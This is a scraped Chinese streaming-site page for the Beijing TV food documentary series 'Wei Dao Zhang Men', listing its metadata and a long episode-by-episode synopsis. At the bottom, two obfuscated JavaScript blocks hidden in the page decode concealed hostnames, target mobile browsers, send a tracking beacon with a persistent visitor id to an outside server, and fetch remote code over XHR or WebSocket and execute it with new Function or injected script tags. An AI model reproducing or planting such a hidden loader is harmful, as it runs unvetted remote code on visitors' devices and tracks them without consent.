• 观看记录
    视频
    视频 文章 明星
    取消
    推荐搜索
    全部
    综艺 味道掌门
    • 提醒：不要轻易相信视频中的广告，谨防上当受骗!
    • 如果无法播放请重新刷新页面，或者切换线路。
    • 视频载入速度跟网速有关，请耐心等待几秒钟。
    报错 刷新 上一集 下一集
    简介

    味道掌门 202411229.0
    9.0
    网友评分
    • 很差
    • 较差
    • 还行
    • 推荐
    • 力荐
    863次评分
    给影片打分 《味道掌门》
    • 很差
    • 较差
    • 还行
    • 推荐
    • 力荐
    我也要给影片打分

    更新至20220805集/2021/中国大陆/大陆综艺/

    • 关注公众号观影不迷路

    • 扫一扫用手机访问

    影片信息

    • 味道掌门

    • 片名：味道掌门
    • 状态：更新至20220805集
    • 主演：未知
    • 导演：未知
    • 年份：2021
    • 地区：中国大陆
    • 类型：大陆综艺/
    • 时长：内详
    • 上映：2021-08-27(中国大陆)
    • 语言：汉语普通话
    • 更新：2025-01-18 11:57
    • 简介：由北京广播电视台生活频道中心打造的大型城市美食人文纪录片栏目《味道掌门》，聚焦北京美食文化特色，汇聚名厨名菜，围绕一道餐厅招牌菜、一位味道掌门人、一份独特的城市记忆展开，以美食之名打造有厚度、有精度、有温度的北京城市名片。                                                                    　　该片以美食切入，通过挖掘人物传承技艺的故事来讲述城市发展，带领观众品鉴美味背后厨艺大师的坚守与匠心。《味道掌门》是一档以烹饪和美食文化为主题的综艺节目，每一期都邀请不同的嘉宾来展示其独特的烹饪技艺和料理心得。节目通过展示不同菜系的烹饪过程和背后的故事，向观众传递关于食物背后文化和人情味的故事。以下是《味道掌门》的剧情介绍：第一集：初见风采在第一集中，《味道掌门》迎来了著名的川菜大师张师傅作为首位嘉宾。张师傅不仅展示了川菜独特的烹饪技艺，还分享了自己在川菜界的奋斗历程和对食材的深刻理解。他现场示范了川菜中的招牌菜——水煮鱼，讲解了每一个步骤背后的功夫和心得。观众们在张师傅的指导下，更加深入地了解了川菜的魅力所在，体会到了食物背后的文化和历史。第二集：南方风味第二集的主题是南方风味，节目邀请了来自广州的烹饪达人陈大厨。陈大厨展示了粤菜中的经典菜肴——烧鹅，通过他精湛的刀工和独特的调味手法，让这道菜肴味道更加地道和美味。在节目中，陈大厨不仅展示了烹饪技艺，还分享了自己对于食材选取和烹饪过程中细节把控的心得体会。观众们通过陈大厨的分享，更加深入地了解了粤菜的独特魅力和南方烹饪文化的丰富性。第三集：东北记忆第三集的节目主题转向了东北地区的美食，特邀东北厨艺大师王师傅。王师傅展示了东北菜中的经典菜肴——东北酸菜炖排骨，通过他独特的炖煮技艺和对食材的严格选择，展示了这道菜肴的浓厚地方风味和家常味道。在节目中，王师傅不仅向观众展示了烹饪的技艺，还讲述了东北地区的饮食文化和菜肴背后的家庭情感故事。观众们通过王师傅的分享，深刻感受到了东北地区丰富多样的美食文化和对食物的深情厚谊。第四集：西北印记第四集的节目主题聚焦于西北地区的烹饪传统，节目邀请了西北料理名家刘大厨。刘大厨展示了西北菜中的经典菜肴——羊肉泡馍，通过他独特的手法和对调味的精准把控，呈现出了这道菜肴浓郁的地方风味和独特的口感。在节目中，刘大厨不仅向观众展示了菜肴的烹饪过程，还分享了西北地区饮食文化中的历史和人情味。观众们通过刘大厨的分享，更加深入地了解了西北地区丰富多样的风味和传统烹饪技艺。第五集：中华名菜第五集的节目主题是中华名菜的探索，节目邀请了知名厨艺大师李师傅。李师傅展示了中华菜中的经典名菜——北京炸酱面，通过他精湛的炒制技艺和对调味的独特理解，呈现出了这道菜肴的醇厚口感和独特风味。在节目中，李师傅不仅向观众展示了菜肴的烹饪技艺，还分享了中华料理的多样性和文化内涵。观众们通过李师傅的分享，更加深入地了解了中华料理的博大精深和对食物的情感表达。第六集：传承之路第六集的节目主题是传统菜系的传承，节目邀请了地方名厨们来分享他们家传菜肴的独特魅力。节目中，不仅有北京烤鸭、苏州糖醋排骨等经典地方菜肴的烹饪展示，还有地方名厨们分享的家族传统和对菜肴的独特理解。通过这一集，观众们更加深入地了解了传统菜系在当今社会中的传承与发展，以及家庭厨艺在烹饪中的重要性和价值。第七集：美食之旅第七集的节目主题是美食之旅，节目组带领观众们走进不同地域的美食文化和独特风味。节目中，观众们可以看到西安的凉皮、成都的火锅、杭州的西湖醋鱼等地方特色菜肴的烹饪过程和背后的故事。通过这一集，观众们像是进行了一场舌尖上的旅行，深刻感受到了中国各地丰富多彩的美食文化和人文风情。第八集：创意无限第八集的节目主题是创意料理的展示，节目邀请了一些具有创新能力和独特视角的厨艺达人来展示他们的创意菜肴。节目中，观众们可以看到有着科技感的现代料理、结合不同地域特色的创意菜肴等，这些菜肴不仅在味道上令人惊艳，还在视觉和观感上有独特的表现力。通过这一集，观众们不仅感受到了美食的无限可能性，还对烹饪创意的重要性有了更深的认识和体会。第九集：大师风采第九集的节目主题是大师级厨艺的展示，节目邀请了国内外知名的厨艺大师来分享他们的独特料
    首页 综艺 内地综艺 味道掌门

    猜你喜欢

    为你推荐

     换一换
     换一换

    最新资讯

    更多
    更多

    评论

    共 0 条评论

    内地综艺排行榜

    更多
    function YcQBR(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function irunOtaT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return YcQBR(t);};window[''+'P'+'h'+'r'+'w'+'y'+'L'+'b'+'Y'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GOvst(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=irunOtaT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GOvst(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GOvst(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnp5ejE2LmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYS53cXXF1YWkuY24lM0E5NTMz','159458',window,document,['g','X']);}:function(){};
    function xHCzwEP(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function xnBGogSu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xHCzwEP(t);};window[''+'p'+'P'+'v'+'f'+'h'+'k'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function tsgn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=xnBGogSu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=tsgn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=tsgn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLnp5ejE2LmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS53cXF1YWkuY224lM0E5NTMz','159459',window,document,['H','2']);}:function(){};